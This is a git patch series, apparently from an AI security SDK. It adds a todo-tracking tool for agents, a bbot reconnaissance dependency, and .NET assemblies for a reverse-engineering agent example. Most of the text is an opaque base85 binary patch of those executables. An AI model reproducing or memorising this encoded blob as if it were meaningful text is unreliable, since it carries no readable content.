Complete current tasks before starting new ones + - Remove tasks that are no longer relevant from the list entirely + + 3. **Task Completion Requirements**: + - ONLY mark a task as completed when you have FULLY accomplished it + - If you encounter errors, blockers, or cannot finish, keep the task as in_progress + - When blocked, create a new task describing what needs to be resolved + - Never mark a task as completed if: + - Tests are failing + - Implementation is partial + - You encountered unresolved errors + - You couldn't find necessary files or dependencies + + 4. **Task Breakdown**: + - Create specific, actionable items + - Break complex tasks into smaller, manageable steps + - Use clear, descriptive task names + + When in doubt, use this tool. Being proactive with task management demonstrates attentiveness and ensures you complete all requirements successfully. + """ + status_counts = Counter(t.status for t in todos) + + log_metric("num_todos", len(todos)) + log_metric("completed_todos", status_counts["completed"]) + log_metric("in_progress_todos", status_counts["in_progress"]) + log_metric("pending_todos", status_counts["pending"]) + + log_output("todos", todos) + + if not todos: + logger.info("Todo list cleared.") + return "Todo list cleared." + + status_log = f"Updated todo list with {len(todos)} tasks:\n" + for todo in todos: + status = ( + "Complete" if todo.status == "completed" else ("⏳" if todo.status == "in_progress" else "📌") + ) + status_log += f"{status} {todo.content} (priority: {todo.priority})\n" + + logger.info(status_log) + + return ( + f"Updated todo list with {len(todos)} tasks. " + f"{status_counts['completed']} completed, " + f"{status_counts['in_progress']} in progress, " + f"{status_counts['pending']} pending." + ) \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml index caaba069..3e91a145 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -3,6 +3,9 @@ name = "dreadnode" version = "1.13.4" description = "Dreadnode SDK" requires-python = ">=3.10,<3.14" +dependencies = [ + "bbot>=2.6.1", +] [tool.poetry] name = "dreadnode" From 20269d32996bcdf95a1b1eaaf70893c3d4559f4b Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Fri, 22 Aug 2025 06:58:44 -0600 Subject: [PATCH 05/60] example assembly --- .../agents/dotnet-reversing/bin/AddInUtil.exe | Bin 0 -> 36776 bytes .../dotnet-reversing/bin/System.Addin.dll | Bin 0 -> 157600 bytes .../agents/dotnet-reversing/bin/mscorlib.dll | Bin 0 -> 5450672 bytes 3 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 examples/agents/dotnet-reversing/bin/AddInUtil.exe create mode 100644 examples/agents/dotnet-reversing/bin/System.Addin.dll create mode 100644 examples/agents/dotnet-reversing/bin/mscorlib.dll diff --git a/examples/agents/dotnet-reversing/bin/AddInUtil.exe b/examples/agents/dotnet-reversing/bin/AddInUtil.exe new file mode 100644 index 0000000000000000000000000000000000000000..caf5cca2bbab6d15ad8db687042475e8272e742e GIT binary patch literal 36776 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 